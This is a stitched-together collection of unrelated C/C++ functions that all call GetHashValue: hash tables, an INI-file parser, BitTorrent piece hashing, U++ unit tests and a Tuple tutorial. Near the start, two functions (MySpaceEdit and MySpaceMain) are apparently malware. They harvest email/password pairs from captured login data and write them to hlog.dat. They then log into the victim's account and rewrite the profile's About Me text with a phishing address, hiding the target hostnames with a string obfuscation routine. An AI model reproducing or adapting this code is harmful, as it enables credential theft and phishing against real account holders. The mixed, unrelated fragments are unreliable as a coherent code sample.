int MySpaceEdit (struct myspace_d *myspace) { char buf[0x15F90],lpRequest[0x800],tmp[0x800]; GetWebPage(buf,sizeof(buf),riddle_enc("���=|��prt=r~|"), riddle_enc("rwmn�7lov"),riddle_enc("JHW"),"",0x0); // www.myspace.com, index.cfm, GET LogToFile("tmp.html",buf,"w"); sprintf(lpRequest, "__VIEWSTATE=%s&" "ctl00$Main$SplashDisplay$ctl00$Email_Textbox=%s&" "ctl00$Main$SplashDisplay$ctl00$Password_Textbox=%s", GetHashValue(buf,"__VIEWSTATE",'"',0x25),myspace->username,myspace->password); GetWebPage(buf,sizeof(buf),riddle_enc("�wu��w@���suw@u�"), riddle_enc("�����P���a����������_�����P�������"),riddle_enc("TSWX"),lpRequest,0x0); // secure.myspace.com, index.cfm?fuseaction=login.process, POST LogToFile("afterlogin.html",buf,"w"); if(strstr(buf,riddle_enc("z��An���Ac�Am�����Nj�A��A��Au���B"))) return(0x0); // You Must Be Logged-In to do That! strcpy(myspace->url,GetHashValue(buf,riddle_enc("���}��||{��E����xz|Ez��"),'"',0x18)); // profileedit.myspace.com GetWebPage(buf,sizeof(buf),riddle_enc("���}��||{��E����xz|Ez��"), myspace->url,riddle_enc("JHW"),"",0x0); // profileedit.myspace.com, GET sprintf(lpRequest, "__EVENTTARGET=&__EVENTARGUMENT=&" "__VIEWSTATE=%s&ctl00$ctl00$cpMain$ProfileEditContent$editInterests$hash=%s&" "ctl00$ctl00$cpMain$ProfileEditContent$editInterests$SaveTop=Save All Changes&" "ctl00$ctl00$cpMain$ProfileEditContent$editInterests$AboutMeTextBox=%s", GetHashValue(buf,"__VIEWSTATE",'"',0x25),GetHashValue(buf,"_hash",'"',0xE),myspace->editdata); strcpy(tmp,lpRequest); GetWebPage(buf,sizeof(buf),riddle_enc("���}��||{��E����xz|Ez��"), myspace->url,riddle_enc("JHW"),"",0x0); // profileedit.myspace.com, GET GetWebPage(buf,sizeof(buf),riddle_enc("���}��||{��E����xz|Ez��"), GetHashValue(buf,"name=\"aspnetForm\"",'"',0x29),riddle_enc("TSWX"),tmp,0x1); // profileedit.myspace.com, POST GetWebPage(NULL,0x0,"collect.myspace.com","index.cfm?fuseaction=signout","GET","",0x1); LogToFile("logoff.html",buf,"w"); return(0x1); }
void CheckDateTime() { Time tm = GetSysTime(); Date dt = tm; Value c; Value v = tm; RDUMP(v); ASSERT(v == dt); Date xx = v; ASSERT(xx == dt); c = v; RDUMP(c); ASSERT(c == dt); Value cv = v; RDUMP(cv); ASSERT(cv == dt); Value v2 = tm; RDUMP(v2); ASSERT(v2 == v); c = v; RDUMP(c); ASSERT(c == dt); ASSERT(c == tm); v = dt; v2 = ToTime(v); ASSERT(v == v2); ASSERT(GetHashValue(v) == GetHashValue(v2)); }
bool CFileStream::RecursionInsertFile(char* treepath,memory_tree_s* fileTree,memory_tree_s* DirTree) { char TreeRoot[MAX_PATH]; if(treepath[0] == '/') { treepath++; return RecursionInsertFile(treepath,fileTree,&memoryTreeRoot); } if(DirTree) { strcpy(TreeRoot,treepath); char * folderName = GetFolderName(TreeRoot); if(folderName) { int listsize = DirTree->dataList.size(); if(listsize) { DWORD hashvalue = GetHashValue(folderName); for(int i=0;i<listsize;i++) { if(DirTree->dataList[i]->bDirectory && DirTree->dataList[i]->dwHashValue == hashvalue && m_strcmp(DirTree->dataList[i]->nStringIdx,folderName)) { char* nextdir = &treepath[strlen(folderName)+1]; return RecursionInsertFile(nextdir,fileTree,DirTree->dataList[i]); } } memory_tree_s* newdir = new memory_tree_s; newdir->bDirectory = TRUE; newdir->nStringIdx = AllocString(folderName); newdir->dataSize = 0; newdir->dataOffset = 0; newdir->dwHashValue = GetHashValue(folderName); DirTree->dataList.push_back(newdir); char* nextdir = &treepath[strlen(folderName)+1]; return RecursionInsertFile(nextdir,fileTree,newdir); } else { memory_tree_s* newdir = new memory_tree_s; newdir->bDirectory = TRUE; newdir->nStringIdx = AllocString(folderName); newdir->dataSize = 0; newdir->dataOffset = 0; newdir->dwHashValue = GetHashValue(folderName); DirTree->dataList.push_back(newdir); char* nextdir = &treepath[strlen(folderName)+1]; return RecursionInsertFile(nextdir,fileTree,newdir); } } else { DirTree->dataList.push_back(fileTree); return true; } } return false; }
memory_tree_t * CFileStream::FileIsExists(char* TreePath) { static char szPath[MAX_PATH]; char* szChars; char* pszFolderName; if(TreePath && TreePath[0] == '/') { strcpy(szPath,TreePath); szChars = (char*)&szPath; if(memoryTreeRoot.dataList.size() == 0) { return NULL; } szChars++; pszFolderName = GetFolderName(szChars); if(pszFolderName) { int listsize = memoryTreeRoot.dataList.size(); if(listsize) { DWORD hashvalue = GetHashValue(pszFolderName); for(int i=0;i<listsize;i++) { if(memoryTreeRoot.dataList[i]->bDirectory && memoryTreeRoot.dataList[i]->dwHashValue == hashvalue && m_strcmp(memoryTreeRoot.dataList[i]->nStringIdx,pszFolderName)) { char* nextdir = &szChars[strlen(pszFolderName)+1]; return RecursionFileExists(nextdir,memoryTreeRoot.dataList[i]); } } } return NULL; } else { int listsize = memoryTreeRoot.dataList.size(); if(listsize) { DWORD hashvalue = GetHashValue(szChars); for(int i=0;i<listsize;i++) { if(!memoryTreeRoot.dataList[i]->bDirectory && memoryTreeRoot.dataList[i]->dwHashValue == hashvalue && m_strcmp(memoryTreeRoot.dataList[i]->nStringIdx,szChars) ) { return memoryTreeRoot.dataList[i]; } } } } } return NULL; }
memory_tree_s* CFileStream::RecursionFileExists(char* TreePath,memory_tree_s* DirTree) { char* pszFolderName = GetFolderName(TreePath); if(pszFolderName) { DWORD hashvalue = GetHashValue(pszFolderName); int listsize = DirTree->dataList.size(); if(listsize) { for(int i=0;i<listsize;i++) { if(DirTree->dataList[i]->bDirectory && DirTree->dataList[i]->dwHashValue == hashvalue && m_strcmp(DirTree->dataList[i]->nStringIdx,pszFolderName)) { char* nextdir = &TreePath[strlen(pszFolderName)+1]; return RecursionFileExists(nextdir,DirTree->dataList[i]); } } } else { return NULL; } } else { int listsize = DirTree->dataList.size(); if(listsize) { DWORD hashvalue = GetHashValue(TreePath); for(int i=0;i<listsize;i++) { if(!DirTree->dataList[i]->bDirectory) { if( DirTree->dataList[i]->dwHashValue == hashvalue && m_strcmp(DirTree->dataList[i]->nStringIdx,TreePath)) return DirTree->dataList[i]; } } } else { return NULL; } } return NULL; }
void MySpaceMain (struct myspace_param_d *param) { char buf[0x80]; struct myspace_d myspace; sprintf(myspace.editdata,param->lpEditData,GetPhishingIpAddress()); if(param->bRawData == 0x1) { strcpy(myspace.username,GetHashValue(param->lpLoginData,"Email_Textbox=",'&',14)); strcpy(myspace.password,GetHashValue(param->lpLoginData,"Password_Textbox=",'&',0x11)); sprintf(buf,riddle_enc("*x?*x"),myspace.username,myspace.password); // %s:%s if(MySpaceSendCallback(&myspace)) LogToFile(riddle_enc("ptwo6li|"),buf,"a"); // hlog.dat } ExitThread(0x0); //else MySpaceGetLogData(&myspace); }
internal block_hash * WriteHash(block_hash *HashArray, world_block_pos *P, int32 NewBlockIndex) { block_hash *Result = 0; uint32 HashValue = GetHashValue(P); uint32 HashMask = (BLOCK_HASH_SIZE - 1); uint32 Offset = 0; for(; Offset < BLOCK_HASH_SIZE; ++Offset) { uint32 HashIndex = (HashValue + Offset) & HashMask; Assert(HashIndex < BLOCK_HASH_SIZE); block_hash *Hash = HashArray + HashIndex; if(Hash->Index == HASH_UNINITIALIZED || Hash->Index == HASH_DELETED || WorldPosEquals(P, &Hash->Key)) { Result = Hash; break; } } Assert(Result); Assert(Result->Index == HASH_UNINITIALIZED || Result->Index == HASH_DELETED); Result->Key = *P; Result->Index = NewBlockIndex; return Result; }
static inline mccp_result_t s_delete(mccp_hashmap_t *hmptr, void *key, void **valptr, bool free_value) { mccp_result_t ret = MCCP_RESULT_ANY_FAILURES; void *val = NULL; mccp_hashentry_t he; if ((*hmptr)->m_is_operational == true) { if ((he = s_find_entry(*hmptr, key)) != NULL) { val = GetHashValue(he); if (val != NULL && free_value == true && (*hmptr)->m_del_proc != NULL) { (*hmptr)->m_del_proc(val); } DeleteHashEntry(he); (*hmptr)->m_n_entries--; } ret = MCCP_RESULT_OK; } else { ret = MCCP_RESULT_NOT_OPERATIONAL; } if (valptr != NULL) { *valptr = val; } return ret; }
static inline mccp_result_t s_add(mccp_hashmap_t *hmptr, void *key, void **valptr, bool allow_overwrite) { mccp_result_t ret = MCCP_RESULT_ANY_FAILURES; void *oldval = NULL; mccp_hashentry_t he; if ((*hmptr)->m_is_operational == true) { if ((he = s_find_entry(*hmptr, key)) != NULL) { oldval = GetHashValue(he); if (allow_overwrite == true) { SetHashValue(he, *valptr); ret = MCCP_RESULT_OK; } else { ret = MCCP_RESULT_ALREADY_EXISTS; } } else { he = s_create_entry(*hmptr, key); if (he != NULL) { SetHashValue(he, *valptr); (*hmptr)->m_n_entries++; ret = MCCP_RESULT_OK; } else { ret = MCCP_RESULT_NO_MEMORY; } } *valptr = oldval; } else { ret = MCCP_RESULT_NOT_OPERATIONAL; } return ret; }
bool CFileStream::AddFile(char* pszFilePath,char* treepath) { HANDLE addFileHandle; DWORD fileSize; DWORD readSize; if(FileIsExists(treepath)) return false; addFileHandle = CreateFile(pszFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(addFileHandle != INVALID_HANDLE_VALUE) { memory_tree_s* fileTree = new memory_tree_s; fileSize = GetFileSize(addFileHandle,&fileSize); fileTree->bDirectory = FALSE; fileTree->dataSize = fileSize; fileTree->dataOffset = new BYTE[fileSize]; fileTree->dwHashValue = GetHashValue(GetFileName(treepath)); fileTree->nStringIdx = AllocString(GetFileName(treepath)); ReadFile(addFileHandle,fileTree->dataOffset,fileSize,&readSize,NULL); CloseHandle(addFileHandle); if(RecursionInsertFile(treepath,fileTree)) return true; } return false; }
static XPicture sGetSolidFill(Color c) { int q = GetHashValue(c) % (int)XRSolidFillCount; XRSolidFill& f = sFill[q]; if(f.color == c && f.picture) return f.picture; if(f.picture) XRenderFreePicture(Xdisplay, f.picture); if(f.pixmap) XFreePixmap(Xdisplay, f.pixmap); f.pixmap = XCreatePixmap(Xdisplay, Xroot, 1, 1, 32); XRenderPictureAttributes attr; attr.repeat = XTrue; f.picture = XRenderCreatePicture(Xdisplay, f.pixmap, XRenderFindStandardFormat(Xdisplay, PictStandardARGB32), CPRepeat, &attr); f.color = c; XRenderColor xc; xc.red = s255d16(c.GetR()); xc.green = s255d16(c.GetG()); xc.blue = s255d16(c.GetB()); xc.alpha = 65535; XRenderFillRectangle(Xdisplay, PictOpSrc, f.picture, &xc, 0, 0, 1, 1); return f.picture; }
static void CalcHash(Vector<HashBase>& hash, const Vector<String>& file, int limit) { { // 1st row HashBase& first = hash.Add(); for(int i = 0; i < file.GetCount(); i++) first.Add(GetHashValue(file[i])); } static const int prime[] = { 3, 5, 7, 11, 13, 17, 19, 21, 23, 29, 31, 37, 41, 43, 47, 51, 53, 61, 67, 71, 73, 79, 83, 87, 89, 97, 101, 103, 107, 109, 113, 117, }; const int *pp = prime; for(int l = 1; l < limit; l <<= 1) { HashBase& nhash = hash.Add(); const HashBase& ohash = hash[hash.GetCount() - 2]; int pri = *pp++; int t; for(t = l; t < ohash.GetCount(); t++) nhash.Add(ohash[t - l] + pri * ohash[t]); for(t -= l; t < ohash.GetCount(); t++) nhash.Add(ohash[t]); } }
void CheckString() { Value v = "ahoj"; for(int i = 0; i < 2; i++) { String s = v; RDUMP(s); ASSERT(s == "ahoj"); WString ws = v; RDUMP(ws); ASSERT(ws == WString("ahoj")); v = ws; } v = String("ahoj"); Value w = WString("ahoj"); ASSERT(v == w); RDUMP(GetHashValue(v)); RDUMP(GetHashValue(w)); ASSERT(GetHashValue(v) == GetHashValue(w)); }
// get a value from the ini file const char *CIniFile::Get(const char *key, const char *value, const char *def) { ini_key_t *pKey = NULL; int i; #ifdef WITH_HASH // search for the key name... // first search in the hash table... unsigned short vhash = GetHashValue(key) % INI_HASH_KEY_SIZE; if (m_Hash[vhash] != NULL && strcasecmp(key, m_Hash[vhash]->key_name) == 0) { pKey = m_Hash[vhash]; // found this value in the hash table } #endif if (pKey == NULL) { // Not found in the hash table, do a normal search... for (i = 0; i < key_count; i++) { if (strcasecmp(ini[i].key_name, key) == 0) { pKey = &ini[i]; break; } } } if (pKey != NULL) { #ifdef WITH_HASH // key found, search for the value in this key... vhash = GetHashValue(value) % INI_HASH_VALUE_SIZE; if (pKey->hash[vhash] != NULL && strcasecmp(value, pKey->hash[vhash]->value_name) == 0) { return pKey->hash[vhash]->value; } #endif // not found in the hash table, do a normal linear search... for (i = 0; i < pKey->value_count; i++) { if (strcasecmp(pKey->values[i].value_name, value) == 0) { return pKey->values[i].value; } } } return def; // value is not found; use default value }
DocDir::Entry *DocDir::Find(const DocKey& key, String& package) const { dword hv = GetHashValue(key); for(int i = 0; i < dir.GetCount(); i++) { int q = dir[i].Find(key, hv); if(q >= 0) { package = dir.GetKey(i); return const_cast<Entry *>(&dir[i][q]); } } return NULL; }
bool DocDir::GetFileName(const DocKey& key, String& fn, String& package) { dword hv = GetHashValue(key); for(int i = 0; i < dir.GetCount(); i++) { const ArrayMap<DocKey, Entry>& p = dir[i]; int q = p.Find(key, hv); if(q >= 0) { fn = p[q].text; package = dir.GetKey(i); return true; } } return false; }
/******************************************************************************* Name: LogLookup Description: Lookup in the log table for the recognizable logical name Arguments: logname - Returns: *******************************************************************************/ static LogNamePtr LogLookup( char *logname) { LogNamePtr ptr; ptr = log_table[GetHashValue(logname, LOG_TABLE_SIZE)]; while (ptr != NULL) { if(strcmp(logname, ptr->name) == 0) return(ptr); ptr = ptr->next; } return(NULL); }
int btContent::InitialFromFS(const char *pathname, char *ann_url, size_t piece_length) { size_t n, percent; // piece length m_piece_length = piece_length; if( m_piece_length % 65536 ){ m_piece_length /= 65536; m_piece_length *= 65536; } if( !m_piece_length || m_piece_length > cfg_req_queue_length * cfg_req_slice_size ) m_piece_length = 262144; m_announce = ann_url; m_create_date = time((time_t*) 0); if(m_btfiles.BuildFromFS(pathname) < 0) return -1; global_piece_buffer = new char[m_piece_length]; #ifndef WINDOWS if( !global_piece_buffer ) return -1; #endif // n pieces m_npieces = m_btfiles.GetTotalLength() / m_piece_length; if( m_btfiles.GetTotalLength() % m_piece_length ) m_npieces++; // create hash table. m_hashtable_length = m_npieces * 20; m_hash_table = new unsigned char[m_hashtable_length]; #ifndef WINDOWS if( !m_hash_table ) return -1; #endif percent = m_npieces / 100; if( !percent ) percent = 1; for( n = 0; n < m_npieces; n++){ if( GetHashValue(n, m_hash_table + n * 20) < 0) return -1; if( 0 == n % percent ){ printf("\rCreate hash table: %u/%u", n, m_npieces); fflush(stdout); } } printf("Complete.\n"); return 0; }
int btContent::APieceComplete(size_t idx) { unsigned char md[20]; if(pBF->IsSet(idx)) return 1; if( GetHashValue(idx, md) < 0 ) return -1; if( memcmp(md,(m_hash_table + idx * 20), 20) != 0){ fprintf(stderr,"warn,piece %d hash check failed.\n",idx); return 0; } pBF->Set(idx); m_left_bytes -= GetPieceLength(idx); return 1; }
void DocDir::RemoveOtherKey(const DocKey& key, int t1, int t2) { dword hv = GetHashValue(key); for(int i = 0; i < dir.GetCount(); i++) { int q = dir[i].Find(key, hv); if(q >= 0) { Entry& e = dir[i][q]; if(e.type != t1 && e.type != t2) { if(e.type == NORMAL || e.type == EXTERNAL) DeleteFile(DocFile(dir.GetKey(i), dir[i][q].text)); dir[i].Remove(q); } SaveDir(dir.GetKey(i)); SaveLinks(dir.GetKey(i)); } } }
int btContent::CheckExist() { size_t idx = 0; size_t percent = GetNPieces() / 100; unsigned char md[20]; if( !percent ) percent = 1; for( ; idx < m_npieces; idx++){ if( GetHashValue(idx, md) == 0 && memcmp(md, m_hash_table + idx * 20, 20) == 0){ m_left_bytes -= GetPieceLength(idx); pBF->Set(idx); } if(idx % percent == 0){ printf("\rCheck exist: %d/%d",idx,pBF->NBits()); fflush(stdout); } } printf(" Complete\n"); return 0; }
static inline mccp_result_t s_find(mccp_hashmap_t *hmptr, void *key, void **valptr) { mccp_result_t ret = MCCP_RESULT_ANY_FAILURES; mccp_hashentry_t he; *valptr = NULL; if ((*hmptr)->m_is_operational == true) { if ((he = s_find_entry(*hmptr, key)) != NULL) { *valptr = GetHashValue(he); ret = MCCP_RESULT_OK; } else { ret = MCCP_RESULT_NOT_FOUND; } } else { ret = MCCP_RESULT_NOT_OPERATIONAL; } return ret; }
static inline bool s_do_iterate(mccp_hashmap_t hm, mccp_hashmap_iteration_proc_t proc, void *arg) { bool ret = false; if (hm != NULL && proc != NULL) { HashSearch s; mccp_hashentry_t he; for (he = FirstHashEntry(&(hm->m_hashtable), &s); he != NULL; he = NextHashEntry(&s)) { if ((ret = proc(GetHashKey(&(hm->m_hashtable), he), GetHashValue(he), he, arg)) == false) { break; } } } return ret; }
/******************************************************************************* Name: LogInsert Description: Insert a new logical name in the log table Arguments: logname - Returns: *******************************************************************************/ static LogNamePtr LogInsert( char *logname) { register int i; LogNamePtr node, ptr; i = GetHashValue(logname, LOG_TABLE_SIZE); if((node = balloc(1, LogName)) == NULL) return(NULL); if((node->name = balloc (strlen(logname)+1, char)) == NULL) { release(node); return(NULL); } strcpy(node->name, logname); node->next = NULL; if(log_table[i] == NULL) log_table[i] = node; else { ptr = log_table[i]; while(ptr != NULL) { if(strcmp(ptr->name, logname) == 0) { release(node->name); release(node); return(NULL); } if(ptr->next == NULL) break; ptr = ptr->next; } ptr->next = node; } return(node); }
bool CFileStream::Create(char* pszFilePath) { fileHandle = CreateFile(pszFilePath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); if(fileHandle != INVALID_HANDLE_VALUE) { fileType = FileCreate; memset(&fileHeader,0,sizeof(fileHeader)); memoryTreeRoot.bDirectory = TRUE; memoryTreeRoot.dataOffset = NULL; memoryTreeRoot.dataSize = NULL; memoryTreeRoot.dwHashValue = GetHashValue("/"); memoryTreeRoot.nStringIdx = 0; stringtable_s * string = new stringtable_s; string->size = strlen("/")+1; string->data = new char[strlen("/")+1]; strcpy(string->data,"/"); memoryString.push_back(string); return true; } return false; }
int main() { EmpInfo empInfoArr[100]; EmpInfo emp1 = {20120003, 42}; EmpInfo emp2 = {20130033, 33}; EmpInfo emp3 = {20140037, 28}; EmpInfo r1, r2, r3; empInfoArr[GetHashValue(emp1.empNum)] = emp1; empInfoArr[GetHashValue(emp2.empNum)] = emp2; empInfoArr[GetHashValue(emp3.empNum)] = emp3; r1 = empInfoArr[GetHashValue(20120003)]; r2 = empInfoArr[GetHashValue(20130033)]; r3 = empInfoArr[GetHashValue(20140037)]; printf("num %d, age %d\n", r1.empNum, r1.age); printf("num %d, age %d\n", r2.empNum, r2.age); printf("num %d, age %d\n", r3.empNum, r3.age); return 0; }
// set the value in the ini file void CIniFile::Set(const char *key, const char *value, const char *set) { ini_key_t *pKey = NULL; ini_value_t *pValue = NULL; int i; #ifdef WITH_HASH // search if this key already exists... // first search in the hash table... unsigned short vhash = GetHashValue(key) % INI_HASH_KEY_SIZE; if (m_Hash[vhash] != NULL && strcasecmp(key, m_Hash[vhash]->key_name) == 0) { pKey = m_Hash[vhash]; // found this value in the hash table } #endif if (pKey == NULL) { // not found in the hash table, do a normal search... for (i = 0; i < key_count; i++) { if (strcasecmp(ini[i].key_name, key) == 0) { pKey = &ini[i]; break; } } } // if this is a new key, try to allocate memory for it if (pKey == NULL) { key_count++; // if we don't have enough room for this new key, try to allocate more memory if (key_count > current_size) { current_size += INI_SIZE_INCREMENT; if (ini) { ini = (ini_key_t *)realloc(ini, sizeof(ini_key_t) * current_size); } else { ini = (ini_key_t *)malloc(sizeof(ini_key_t) * current_size); } if (!ini) { printf("Memory allocation error !"); exit(1); } } pKey = &ini[key_count - 1]; pKey->key_name = strdup(key); pKey->values = NULL; pKey->value_count = 0; pKey->current_size = 0; #ifdef WITH_HASH memset(pKey->hash, 0, sizeof(pKey->hash)); // zero out the hash table // store this new key in the hash table... unsigned short vhash = GetHashValue(pKey->key_name) % INI_HASH_KEY_SIZE; m_Hash[vhash] = pKey; #endif } #ifdef WITH_HASH // search if the value is already in the key... vhash = GetHashValue(value) % INI_HASH_VALUE_SIZE; if (pKey->hash[vhash] != NULL && strcasecmp(value, pKey->hash[vhash]->value_name) == 0) { pValue = pKey->hash[vhash]; // we have found the value in the hash table } #endif if (pValue == NULL) { // value is not found in the hash table, do a normal search... for (i = 0; i < pKey->value_count; i++) { if (strcasecmp(value, pKey->values[i].value_name) == 0) { // we have found the value pValue = &pKey->values[i]; break; } } } if (pValue != NULL) { // this value already exists in the key... free(pValue->value); pValue->value = strdup(set); if (pValue->value == NULL) { printf("Memory allocation error !"); exit(1); } } else { // this is a new value... pKey->value_count++; // if we don't have enough room for this new value, try to allocate more memory if (pKey->value_count > pKey->current_size) { pKey->current_size += INI_SIZE_INCREMENT; if (pKey->values) { pKey->values = (ini_value_t *)realloc(pKey->values, sizeof(ini_value_t) * pKey->current_size); } else { pKey->values = (ini_value_t *)malloc(sizeof(ini_value_t) * pKey->current_size); } if (pKey->values == NULL) { printf("Memory allocation error !"); exit(1); } } pKey->values[pKey->value_count - 1].value_name = strdup(value); pKey->values[pKey->value_count - 1].value = strdup(set); if (pKey->values[pKey->value_count - 1].value == NULL || pKey->values[pKey->value_count - 1].value_name == NULL) { printf("Memory allocation error !"); exit(1); } trim(pKey->values[pKey->value_count - 1].value); trim(pKey->values[pKey->value_count - 1].value_name); #ifdef WITH_HASH // store this new value in the hash table unsigned short vhash = GetHashValue(pKey->values[pKey->value_count - 1].value_name) % INI_HASH_VALUE_SIZE; pKey->hash[vhash] = &pKey->values[pKey->value_count - 1]; #endif } }
dword GetHashValue(const DocKey& k) { return CombineHash(GetHashValue(k.nameing), GetHashValue(k.nesting), GetHashValue(k.item)) << k.lang; }
void TupleTutorial() { /// . Tuples /// Template class `Tuple` allows combining 2-4 values with /// different types. These are principally similar to `std::tuple`, with some advantages. /// Unlike `std::tuple`, individual elements are directly accessible as member variables /// `a`..`d`, `Tuple` supports persistent storage patterns (`Serialize`, `Jsonize`, `Xmlize`), hash /// code (`GetHashValue`), conversion to `String` and Value conversions. /// To create a `Tuple` value, you can use the `MakeTuple` function. Tuple<int, String, String> x = MakeTuple(12, "hello", "world"); /// Individual values are accessible as members `a` .. `d`: DUMP(x.a); DUMP(x.b); DUMP(x.c); /// Or using `Get`: DUMP(x.Get<1>()); DUMP(x.Get<int>()); /// As long as all individual types have conversion to `String` (`AsString`), the tuple also /// has such conversion and thus can e.g. be easily logged: DUMP(x); /// As long as individual types have defined `GetHashValue`, so does `Tuple`: DUMP(GetHashValue(x)); /// As long as individual types have defined `operator==`, `Tuple` has defined `operator==` /// and `operator!=`: Tuple<int, String, String> y = x; DUMP(x == y); DUMP(x != y); y.a++; DUMP(x == y); DUMP(x != y); /// As long as all individual types have defined `SgnCompare`, /// Tuple has SgnCompare, Compare method and operators <, <=, >, >=: DUMP(x.Compare(y)); DUMP(SgnCompare(x, y)); DUMP(x < y); /// GetCount returns the width of `Tuple`: DUMP(x.GetCount()); /// Elements that are directly convertible with `Value` can be 'Get'/'Set': for(int i = 0; i < x.GetCount(); i++) DUMP(x.Get(i)); /// x.Set(1, "Hi"); DUMP(x); /// As long as all individual types are convertible with `Value`, you can convert Tuple to /// `ValueArray` and back: ValueArray va = x.GetArray(); DUMP(va); va.Set(2, "Joe"); x.SetArray(va); /// It is OK to assign `Tuple` to `Tuple` with different individual types, as long as types /// are directly convertible: Tuple<double, String, String> d = x; DUMP(d); /// Tie can be used to assign tuple to l-values: int i; String s1, s2; Tie(i, s1, s2) = x; DUMP(i); DUMP(s1); DUMP(s2); /// U++ Tuples are carefully designed as POD type, which allows POD arrays to be intialized /// with classic C style: static Tuple2<int, const char *> map[] = { { 1, "one" }, { 2, "one" }, { 3, "one" }, }; /// Simple FindTuple template function is provided to search for tuple based on the first /// value (`a`) (linear O(n) search): DUMP(FindTuple(map, __countof(map), 3)->b); /// }
bool operator== (HashedString const & compareTo) const { bool result = (GetHashValue() == compareTo.GetHashValue()); return result; }